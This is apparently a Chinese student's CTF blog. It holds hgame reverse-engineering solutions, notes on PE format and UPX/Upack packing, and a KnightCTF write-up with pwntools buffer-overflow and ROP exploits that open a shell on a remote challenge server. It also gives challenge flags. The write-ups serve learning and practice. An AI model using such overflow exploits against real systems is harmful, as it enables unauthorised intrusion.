此时根据加密规则可以找到,密钥就是aLetUD:LET_U_D;

而比较数据就存在于check函数里,果不其然,会输出win或者lose:

check

于是使用blowfish的解密库解密:(blowfish库下载:https://github.com/xtbanban/blowfish)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
#include "blowfish.h"

/*
需要加入自带 blowfish.C 代码
*/

void main()
{
long long out[4] = {
-5409505419495256385LL,
1428749241468231806LL,
6435326525834898959LL,
2019834963917240364LL
};
BLOWFISH_CTX ctx;

int i;
Blowfish_Init(&ctx, (uint8_t *)"LET_U_D", 7); //初始密钥
for(i=0; i<4; i++)
{
Blowfish_Decrypt(&ctx, (char *)out + 8*i, (char *)out + 8*i + 4);
}
printf("%s\n",(char *)out);
}

运行后得到flag:hgame{D0_y0u_re411V_11k3_9Vthon}

Week4:

( WOW )

IDA分析:

main

可以看到main函数里先输入容纳40长度的内容,然后进行一次for循环里的加密,从input变成output;

之后与比较数据比较与否,输出错误或者正确,但后面还有个for循环,后面这个是把output输入,变成input,猜想一下它可能是解密;

尝试将output直接修改为cmp的数据,查看解密内容:

answer

由此可得flag:hgame{WOWOW_h@ppy_n3w_ye4r_2022}

补充:这个题的加密是不常规的DES加密,DES加密为对称加密,即一组密钥即可完成加解密;核心思想为扩散混淆,扩散即为将明文的1个字符扩展为密文中的多个;混淆即为算法多层,让密钥和密文的关联更难找到;

server

IDA:

main

可以看到函数列表里有个叫 main_main 的主函数,说明这是go语言;

其中还有个函数叫做 main_encrypt ,既然是加密就应该有数据才对,打开汇编模式,可以发现伪代码中看不到的数据;

根据汇编更改 math_big函数的输入参数:

1
__int64 __usercall math_big___ptr_Int__SetString@<rax>(char *str@<rbx>, __int64 a2@<rax>, int a3@<edi>, int a4@<ecx>)

可以变为:

change

也可以用同样的原理,右键其他无参函数,点 set call type ,然后更改,最后可以修复encrypt函数看到原理:

for and XOR

发现在经过之前的加密后,进行了异或;且长度为153;

总之,根据标记符号函数名称和数据判断,这是RSA加密加上异或;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import * 
#pip install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple
import gmpy2
#pip install gmpy2

a = [99,85,4,3,5,5,5,3,7,7,2,8,8,11,1,2,10,4,2,13,8,9,12,9,4,13,8,0,14,0,15,13,14,10,2, 2,1,7,3,5,6,4,6,7,6,2,2,5,3,3,9,6,0,11,13,11,0,2,3,8,3,11,7,1,11,5,14,5,0,10,14,15, 13,7,13,7,14,1,15,1,11,5,6,2,12,6,10,4,1,7,4,2,6,3,6,12,5,12,3,12,6,0,4,15,2,14,7,0 ,14,14,12,4,3,4,2,0,0,2,6,2,3,6,4,4,4,7,1,2,3,9,2,12,8,1,12,3,12,2,0,3,14,3,14,12,9 ,1,7,15,5,7,2,2,4]

for j in range(256): # 爆破
num = j
a = [99,85,4,3,5,5,5,3,7,7,2,8,8,11,1,2,10,4,2,13,8,9,12,9,4,13,8,0,14,0,15,13,14,10,2, 2,1,7,3,5,6,4,6,7,6,2,2,5,3,3,9,6,0,11,13,11,0,2,3,8,3,11,7,1,11,5,14,5,0,10,14,15, 13,7,13,7,14,1,15,1,11,5,6,2,12,6,10,4,1,7,4,2,6,3,6,12,5,12,3,12,6,0,4,15,2,14,7,0 ,14,14,12,4,3,4,2,0,0,2,6,2,3,6,4,4,4,7,1,2,3,9,2,12,8,1,12,3,12,2,0,3,14,3,14,12,9 ,1,7,15,5,7,2,2,4]
for i in range(len(a)-1,-1,-1):
num ^= a[i]
a[i] = a[i] ^ num
for i in range(len(a)-1,-1,-1):
num ^= a[i]
a[i] = a[i] ^ num
try: # 将无法转换的情况直接丢弃,说明该情况必然不是flag
enc = int("".join(map(chr,a)))
except ValueError:
continue

p = 92582184765240663364795767694262273105045150785272129481762171937885924776597
q = 107310528658039985708896636559112400334262005367649176746429531274300859498993
e = 950501
r = (p-1)*(q-1)
d = gmpy2.invert(e,r)
m = pow(enc,d,p*q)
print(long_to_bytes(m))

运行得到flag:hgame{g0_and_g0_http_5erv3r_nb}

ezvm

IDA:

main

可以看出主函数输入后进入switch;

翻译出每个case对应操作,恢复程序逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
	VM_START

OP_PUSH_NUM |
OP_POP_EBX |'\n'

OP_PUSH_NUM |
OP_POP_ECX |-5
.input:
OP_STREAM_IN |eax
OP_PUSH_EAX |
OP_ADD |edx,1
OP_CMP |eax,ebx
OP_JNE |ecx .input

.check_len:
OP_SUB |edx,1
OP_PUSH_NUM |
OP_POP_EBX |32

OP_PUSH_NUM |
OP_POP_ECX |47

OP_MOV |eax,edx
OP_PUSH_EAX
OP_CMP |eax,ebx
OP_JNE |ecx .exit

OP_PUSH_NUM
OP_POP_ECX |-10

OP_PUSH_NUM
OP_POP_EDX |0
.enc:
OP_GET_MEM |eax,stack[edx]
OP_PUSH_NUM |
OP_POP_ESI |xor_key
OP_MUL |eax,2
OP_XOR |eax,esi
OP_SET_MEM |stack[edx],eax
OP_ADD |edx,1
OP_MOV |eax,edx
OP_CMP |eax,ebx
OP_JNE |ecx .enc

OP_PUSH_NUM
OP_POP_EDX |0

OP_PUSH_NUM |-17

OP_PUSH_NUM |21
.check
OP_PUSH_NUM |
OP_POP_EBX |cipher
OP_GET_MEM |eax,stack[edx]
OP_CMP |eax,ebx
OP_POP_EAX
OP_PUSH_EAX
OP_POP_ECX
OP_JNE |ecx .exit
OP_POP_ECX
OP_POP_EBX |
OP_PUSH_EBX |
OP_PUSH_ECX |
OP_PUSH_EAX
OP_ADD |edx,1
OP_MOV |eax,edx
OP_CMP |eax,ebx
OP_JNE |ecx .check


OP_PUSH_NUM
OP_POP_ECX |2

OP_PUSH_NUM |
OP_POP_EBX |0

OP_PUSH_NUM
OP_POP_EDX |-6
.success:
OP_PUSH_NUM |
OP_POP_EAX |str

OP_CMP |eax,ebx
OP_JE |ecx .exit
OP_STREAM_OUT |eax
OP_JMP |edx .success

.exit:
VM_EXIT

由此代码:

1
2
3
4
5
6
7
8
9
10
xor_keys = [94, 70, 97, 67, 14, 83, 73, 31, 81, 94, 54, 55, 41, 65, 99, 59, 100, 59, 21, 24, 91, 62, 34, 80, 70, 94, 53, 78, 67, 35, 96, 59]

plain_text = []

cipher = [142, 136, 163, 153, 196, 165, 195, 221, 25, 236, 108, 155, 243, 27, 139, 91, 62, 155, 241, 134, 243, 244, 164, 248, 248, 152, 171, 134, 137, 97, 34, 193]

for i in range(0,32):
plain_text.append(chr((cipher[i]^xor_keys[i])//2))

print(''.join(plain_text))

运行可得flag:hgame{Ea$Y-Vm-t0-PrOTeCT_cOde!!}

hardasm

IDA:

main

可以看到伪代码的main函数显示的也是__asm,汇编指令;

根据汇编指令可以搜索出,这是AVX2 指令集;

具体思路就是给 ymm1~ymm7 寄存器赋值,然后进行运算,ymm0是输入数据;

但运算过程过于庞大,而且不会这个指令集;又因为ymm0到比较与否的区域始终没有改变,所以可以爆破;

在比较数据的地方下个断点,调试的时候输入 hgame{aaaaaaaaaaaaaaaaaaaaaaaaa} 共32个字符串(因为scanf的格式为%32s),这时候可以发现:[rsp+70h+var_50] 的地方从原来的输入数据,变为了6个0xFF;

cmp

这是因为比较后,因为前6个字符输入的都是正确的,而其他错误,所以其他的都成为了false,0;

那么就可以使用python的 subproccess 子程序模块,在运行脚本时对该程序进行操作,使其循环找到32个0xFF;

subprocess菜鸟教程:https://www.runoob.com/w3cnote/python3-subprocess.html

既然要找0xFF,那么需要从子程序中返回0xFF才行;

根据程序的输出可知:通过rcx将 error字符串或success字符串 打印出:

print

那可以patch程序,将[rsp+70h+var_50]处的内容传递给rcx,以此打印;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import subprocess
real_flag="hgame{" #绝对正确的前6个字符
cur_index=6 #当前爆破的位置
while cur_index<32:
for i in range(32,128): #当前爆破的位置上的字符
real_flag_arr = [0] * 32

for j in range(len(real_flag)): #正确的先复制一下
real_flag_arr[j]=ord(real_flag[j])
real_flag_arr[len(real_flag_arr)-1]=ord("}") #最后一个字符"}"固定

for j in range(len(real_flag_arr)-2,cur_index,-1): #除了当前爆破的位置,其他位置 上都设置为32(空格)
real_flag_arr[j]=32

real_flag_arr[cur_index]=i #设置当前爆破的位置上的字符
real_flag_arr_s="".join(chr(k) for k in real_flag_arr) #输入到程序中的字符串
p = subprocess.Popen(["C:\\Users\\Second_BC\\Desktop\\hardasm.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.stdin.write(real_flag_arr_s.encode())
p.stdin.close()
out = p.stdout.read()

if len(out)>cur_index: #判断程序打印出的0xFF的个数是否增加,增加则说明当前爆破的位置 上的字符设置的是正确的
real_flag+=chr(i)
cur_index+=1
print(real_flag)
break

运行得flag:hgame{right_your_asm_is_good!!}

总结

这次hgame的逆向之旅收获了很多,应该可以说有了叫baby和easy题的题感;更多的包括JAVA的语法,z3的模型可运算,UPX的标签规则,POWERPC的PCC架构,Blowfish标准河豚算法,RSA大素数算法,DES加密的了解;有两道题并不是特别理解,一道是第三周的hardened,另一道就是第四周的ezvm了;前一道没有可用手机或是kali虚拟机,所以无从下手;另一道虚拟机因为还不太理解虚拟机的构造,所以无法翻译;

因此接下来的任务就是抽空把虚拟机的实验完成,以及ROOT手机到手;

阅读全文
逆向工程核心原理复现02

这一章讲的是PE构造以及压缩加壳,因为之前看到过epf文件的构造,所以理解PE起来会容易很多,也可以去类比;

先总结一下PE文件的特点:有个头来控制各个节区的偏移,且在文件和内存中的形式相似却不一样;可以把内存中运行的程序成为文件的映像;

第一:PE头

PE头是个结构体,里面包含了更多的结构体,每个结构体有着调控和指向的作用;

  • DOS头,40个字节,名称 IMAGE_DOS_HEADER;里面的内容中,e_magic 代表签名,一般是4D5A;e_ifanew 代表NT头偏移量;

  • DOS头后有个DOS存根,PE文件可要可不要;

  • NT头,包含三个成员,签名(signature),一般是PE00;以及文件头和可选头;

    文件头包含4个重要成员:Machine CPU唯一对应码;NumberOfSections 节区数量;SizeOfOptionalHeader 可选头大小;Characteristics 文件的信息情况;

    可选头的成员:Magic 可选头签名,32位是10B,64位是20B;AddressOfEntryPoint 俗称EP,显示的是EP的RVA值,这是程序执行的入口地址;ImageBase 文件的优先装入地址,exe和dll 在 0 ~ 7fffffff,sys在后面的内存中,其中,dll的起始值为 10000000;SectionAlignment FileAlignment 前者针对内存而言,后者针对磁盘而言,他们都是对齐,所以是节区的最小单位;SizeOfImage PE文件在内存中的空间大小;SizeOfHeader 整个PE头的大小;SubSystem 是否为sys后缀又或是exe和dll后缀;NumberOfRvaAndSizes DataDirectory数组的下标数;DataDirectory 由IMAGE_DATA_DIRECTORY组成的数组;

  • 节区头,分三类,code(可执行,可读);data(可写,可读);resource(可读);

第二:压缩和UPX

这个部分讲述了内存和磁盘以及压缩如何处理文件的内容;

  • Rva to Raw 可以这么理解,raw就是生肉,还没烤熟,所以在磁盘中为文件,没有驱动;那么它的意思就是,从 内存 到 磁盘;具体是在说它们的偏移映射;

    具体算法:Raw = Rva - VirtualAddress + PointerToRawData

  • INTIAT,前者全称:import name table,后者全称:import address table,后者叫做 导入地址表;

  • DLL 全称:动态链接库,一共两种方式,显式连接,隐式连接;前者是使用时链接,使用后释放,后者是启动时链接,结束后释放(类似于静态链接);

  • CreateFileW() 函数,因为不知道PE的实际版本,所以用(01001104)地址处的值来进行跳转;

  • IMAGE_IMPORT_DESCRIPTOR 导入库;

  • IMAGE_OPTIONAL_Header32.DataDirectory[1].VirtualAddress DataDirectory数组,这个值是导入库的起始地址;

  • EATAPI 前者能求出相应库中导出函数的起始地址,后者通过GetProcAddress() 函数获取要取函数的地址;

  • 压缩即运行时压缩——UPX,因为解压通常会有解码循环,所以在逆向加壳产物的思想就是,尽量避免循环;

    UPX的特征:EP码在 pushad 和 popad 之间;且跳转到OEP处的JUMP指令紧跟 popad 之后;

    硬件断点:由CPU支持,最多打4个,与普通断点的区别是:在断点处的指令完成之后暂停调试;

第三:重定位

讲述PE文件链接后成为程序时,从文件到磁盘地址的变化内容;PE文件加入内存时,文件会被加载到 ImageBase 所指地址,若再加入DLL,那么加入的DLL会被重新定位;

原理

  • 在应用程序中查找硬编码地址位置;
  • 用读值减去ImageBase(VA -> RVA);
  • 加上实际加载地址(RVA -> VA);

首先需要了解:基址重定位表(Relocation Table),这个表也在DataDirectory数组中,下标为5;

其中的重要成员:VirtualAddress 基准地址,RVA值,4字节,可以用来算 Rva To Raw;SizeOfBlock 重定位块大小,4字节;TypeOffset 偏移,由4位Type和12位offset组成,共2字节;

删除reloc节以理解整个PE的工作:整理节区头,删除节区,修改文件头和可选头;

  • 节区头从文件偏移270处开始,大小28个字节,节区起始位置偏移为C000;

  • 文件头中的 NumberOfSections 改少1,因为删除了一个节区;

  • 可选头中 SizeOfImage 减少,减少量:知晓reloc节中的VirtualSize值,并根据SectionAlignment扩展变化后的值;

第四:Upack压缩和内嵌补丁

Upack也是PE文件运行时的压缩器;但因为神奇的压缩技巧,会导致一些查看器认为文件损坏无法查看,所以需要特别地用Stud_PE来查看;

压缩技巧

  • 重叠文件头,把PE头和MZ头重叠;
  • 修改文件头中 SizeOfOptionalHeader 的值,明面上改了可选头大小,实际上增大了可选头和节区头之间的距离,在空隙之间插入解码代码;
  • 修改可选头中 NumberOfRvaAndSizes 的值,增多DataDirectory数组,向文件头插入自身代码;
  • 修改节区头,Upack把自身代码记录到程序运行不需要的目录,不用特别增加节区;
  • 重叠节区
  • Rva to Raw 时,使用异常处理:PointerToRawData应该遵循对齐,但Upack会改值,运行时强制将这个值改为对齐的整数倍,一般是0;
  • 导入表,看似结尾没有NULL结尾会出错,实际上映射到内存后,后面会有空区域自行补充0;
  • 导入地址表

解码循环:Upack把压缩后的数据放到第二个节区,在运行解码循环解压到第一个节区;解压后设置IAT,用导入的两个API;之后一边循环一边构建原本的IAT,完成后连接到OEP;

内嵌补丁:注入的代码,一般用于针对难以直接修改的代码的更新升级或者恶意篡改;需要对PE文件熟悉来更改PE的控制设定增添节区;

总结

了解完PE和压缩部分的知识过后,也懂得了UPX的实际作用,以及如何逆向简单加壳程序;PE展示的成果其实远不止于此,正因为了解了PE构造和压缩,才能更好地藏匿木马节区和后门函数;现在学习地正是以前看不懂的电脑思维,以前就会思考为什么编译器能读懂高级语言呢?怎么编译成可执行文件呢?懂得了它的思维,就可以利用它的漏洞;实验还多,任重而道远,继续冲冲冲!

阅读全文
Knight夺旗战

介绍:

由孟加拉国第一次举办的为期27小时的夺旗战;

KnightCTF做起来二进制方向确实算签到题;

同时KnightCTF偏小众,但是个很好的新手训练平台,能很好的入门各个方向;

但同时KnightCTF有很多个扩展方向,不只是局限于web,re,crypto,pwn,misc;

还有数字取证(Digital Forensics),开源情报(OSINT),隐写(Steganography),网络(Networking),以及编程(Programming);

通过这些特殊的方向可以学习到很多有意思的知识;

比如隐写会把秘密写在图片里,或者图片的介绍里;网络会需要用到wireshark,由此还特别下载学习使用;开源情报则是灵活使用谷歌搜索以及其他的爬虫;

通过这次CTF的学习,可以发现很多奇怪的文件都可以转成zip来破解,有些甚至会套娃;

过程:

我和我的小队成员也在比赛的过程中互相帮助,揣测思路;尽管二进制很简单,我们能很快解决AK掉,但其他方向和奇怪的谜题也困扰着我们,比如misc的3D建模需要穿模找flag…等等;

一边学习一边讨论一边解题,针对新知识,解题确实让人头大,连续熬夜两天,每天都高强度地盯着屏幕,怕是这样久了头发都掉光;

为什么这么认真呢?因为这是矩阵战队第一次的CTF比赛,我们会团结起来,去拿到一切能拿到的分数,不会说二进制AK我就下班;

在这过程中,我们还误判了结束比赛的时间,导致排名往下掉了不少,最后也是凭着每个人的意志熬了过来;

Certificate

最后也是成功的拿到了前100的名次得到证书;

虽然都不是什么难题,但确实让人开心;

接下来就是二进制系列的复现了;

Pwn:

whats_your_name

IDA和ROPgadget:

main

可以看到主函数很简单,gets输入v4会栈溢出,以便修改v5的值,执行system函数获取flag;

使用ROPgadget会发现有可以控制的寄存器,所以可以玩一点花的;

再使用cyclic命令找到溢出返回的长度;

用got表可以找到plt的偏移;

之前写过ret2libc,那就用那次的经历来写一次;

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('198.211.115.81',10001)

ad = 0x404048
system = 0x401030
r15 = 0x401242
gets = 0x401050

payload = b'a'*68 + b'a'*8 + p64(gets) + p64(r15) + p64(ad) + p64(system) + b'e'*8 +p64(ad)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

思路就是,直接去return,先调用gets函数,控制r15寄存器输入 ‘/bin/sh’ 到一段可修改的地址,返回后调用system,直接执行 system(‘/bin/sh’) ;

之后得到flag:KCTF{bAbY_bUfF3r_0v3Rf1Ow}

hackers_vault

IDA:

main

可以发现输入的v4是用%d(整数)格式输入的,之后还有一个运算,最后得出v5的值,如果v5 = 48,就能拿到flag;

其实就是一道非常简单的逆向题;

算法就是每一位数的和,所以只需要输入一串数字,这串数字加起来为48就好了(千万别管溢出!别管int的位数!)

answer

然后就nc到服务器,输入数字得到flag:KCTF{b1NaRy_3xOpL0iTaT1On_r0cK5}

whats_your_name_two

IDA:

main

查看主函数,发现输入的内容s,会被复制到dest,看栈的结构,可以知道dest后面紧跟v6和v7;

主函数里判断,如果v7和v6满足条件值,就执行system获取flag;

则Exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('198.211.115.81',10002)

v6 = 0x534B544E
v7 = 0x5445454C

payload = b'a'*72 + p32(v6) +p32(v7)
p.sendline(payload)
p.interactive()

得到flag:KCTF{bUfF3r_0v3Rf1Ow_i5_fUn_r1Gh7}

偷懒不想玩return了;

Reverse:

The_Flag_Vault

IDA:

main

进入主函数看到会让输入字符串s2,然后和s1字符串比较,如果相同,就会输出flag;

answer

输入s1后获得flag:KCTF{welc0me_t0_reverse_3ngineering}

the_encoder

IDA:

function

输入最大40个字符,然后这个for是在判断输入的长度,没什么实际的意义,不会改变输入的值;

之后就会把输入的字符的ascii码加上1337输出;

根据题里的内容,可以知道有如下的数据:

1
1412 1404 1421 1407 1460 1452 1386 1414 1449 1445 1388 1432 1388 1415 1436 1385 1405 1388 1451 1432 1386 1388 1388 1392 1462

所以思路就是:把每个数减去1337,再换成ascii;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>

int main()
{
int box[25] = {1412 ,1404 ,1421 ,1407, 1460, 1452, 1386, 1414, 1449, 1445, 1388, 1432, 1388, 1415, 1436, 1385, 1405, 1388, 1451, 1432, 1386, 1388, 1388, 1392, 1462};
int i;
char out[25];
for(i=0;i<25;i++)
{
box[i] = box[i] - 1337;
}
for(i=0;i<25;i++)
{
out[i] = box[i];
}
printf("%s",out);
return 0;
}

运行后得到flag:KCTF{s1Mpl3_3Nc0D3r_1337}

BabyShark

这道题的文件是.jar,所以用jd-gui反编译;

main

可以找到这样两个关键字符串信息内容;

上面一张图的数据后面有等号,可以想到AES,base64加密,于是去尝试解密:

decrypt

用base64解密解出flag:KCTF{7H15_W@5_345Y_R16H7?}

flag_checker

IDA:

main

这道题就是单纯的把输入的字符串v4经过两个for循环的运算之后给已有的v5字符串比较与否;

那么稍微改一下两个for里的算法,改成自己的逆运算,当然,第一个for的逆运算就是它自己,因为 x = -1 - y 就是 y = -1 - x;用v5的值算回v4就行了;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>

int main()
{
char in[35],out[35];
int v4[35];
int i,j,v7,v6;
scanf("%s",in); //换做v5做运算数
for(i=0;i<35;i++)
{
v4[i] = in[i];
}
for ( j = 0; v4[j]; ++j )
v4[j] += 32; //改减为加
for ( i = 0; v4[i]; ++i ) //这个for不变
{
if ( v4[i] <= 64 || v4[i] > 90 )
{
if ( v4[i] <= 96 || v4[i] > 122 )
v4[i] = v4[i];
else
v4[i] = -37 - v4[i];
}
else
{
v4[i] = -101 - v4[i];
}
}
for(i=0;i<35;i++)
{
out[i] = v4[i];
}
printf("%s",out);
return 0;
}

因为是复制的代码用,所以会比较乱,而且写的时候是v4来运算,但实际上输入的数据是v5的;

运行输入后得到flag:KCTF{aTbAsH_cIpHeR_wItH_sOmE_tWiSt}

Knight Vault

IDA:

main

输入v8,让v8经过for循环的运算,再用运算的数据和v7比较与否;

思路还是改写for循环的运算,使其逆向,把v7变回v8;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>

int main()
{
int v7[43];
int v8[43];
char in[43],out[43];
int i;
scanf("%s",in);
for(i=0;i<43;i++)
{
v7[i] = in[i];
}
for(i=0;i<43;i++)
{
v8[i] = v7[i] + 10; //改减为加
if( v8[i] == 42 ) //两极反转
v8[i] = 65;
}
for(i=0;i<43;i++)
{
out[i] = v8[i];
}
printf("%s",out);
return 0;
}

运行得到flag:4CTF{sO_yOu_gOt_mE_gOOd_jOOb_hApPy_hAc4iNg}

Droid Flag

这是个安卓APK,用jeb分析:

main1

main2

这是整个onCreate方法;

下方可以看到v1变量在添加flag样式的字符,并且使用getSx函数获取字符串;

如下是getSx系列:

getSx

它是用16进制下标在字符串里找对应id的字符串,那就进入字符串里寻找;

最后结果:

string

从字符串里看出,就这样输入貌似并不是flag,但是把字符反着输入,就可以拼接成单词了,比如s7代表的 D10RdNa ,反转输入就变为 aNdR01D -> android ;

最后通过这样的字符串拼接方法得到flag:KCTF{aNdR01D_s1MpL3_r3V3rS3}

Knight Switch Bank

IDA:

main

输入v5,进入while循环开始选择性的运算,最后还有一个while循环,结束后让运算过的v5与v6比较与否;

这个套路很像之前的 flag_checker 这道题;唯一不同的就是两个循环的样子变了一下;

第一个循环在选择输入的字符:如果是小(大)写字母的前13个,就加13;如果是小(大)写字母的后13个,就减13;如果不是字母,就减32;

第二个循环就是自加2;

跟之前一样,改写一下循环里的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include<stdio.h>

int main()
{
int v4[29],v5[29];
char in[29],out[29];
int i;
int v10;
scanf("%s",in);
for(i=0;i<29;i++)
{
v5[i] = in[i]; //输入的是原v6,复制用的v5;
}

for(i=0;i<29;i++)
v5[i] -= 2; //改加为减
for(i=0;i<29;i++)
{
if ( v5[v10] <= 64 || v5[v10] > 77 )
{
if ( v5[v10] <= 96 || v5[v10] > 109 )
{
if ( v5[v10] <= 77 || v5[v10] > 90 )
{
if ( v5[v10] <= 109 || v5[v10] > 122 )
v4[v10] = v5[v10] + 32; //改非字母的变化为加其他不变
else
v4[v10] = v5[v10] - 13;
}
else
{
v4[v10] = v5[v10] - 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
++v10;
}

for(i=0;i<29;i++)
{
out[i] = v4[i];
}
printf("%s",out);
return 0;
}

运行后得到flag:KCTF{So_YoU_ROT_iT_gOOd_jOOb}

总结

二进制方向要说没收获吧,其实还是有的,就比如安卓逆向和java逆向,当时看到的时候并不知道.getstring()函数是什么东西,更不知道其他点过去点过来的函数;都需要去网上查找学习才能弄懂;

因为简单,然后学习其他方向的内容,也是挺头大的,不过也同时收获很多知识;

比如密码学的RSA的简单了解和运用,web的SQL注入,misc 3D建模以及pacpng后缀文件的运用;

之后就是主打hgame了,在hgame结束的时候也会有这样类似的复盘发布的;

genshin

阅读全文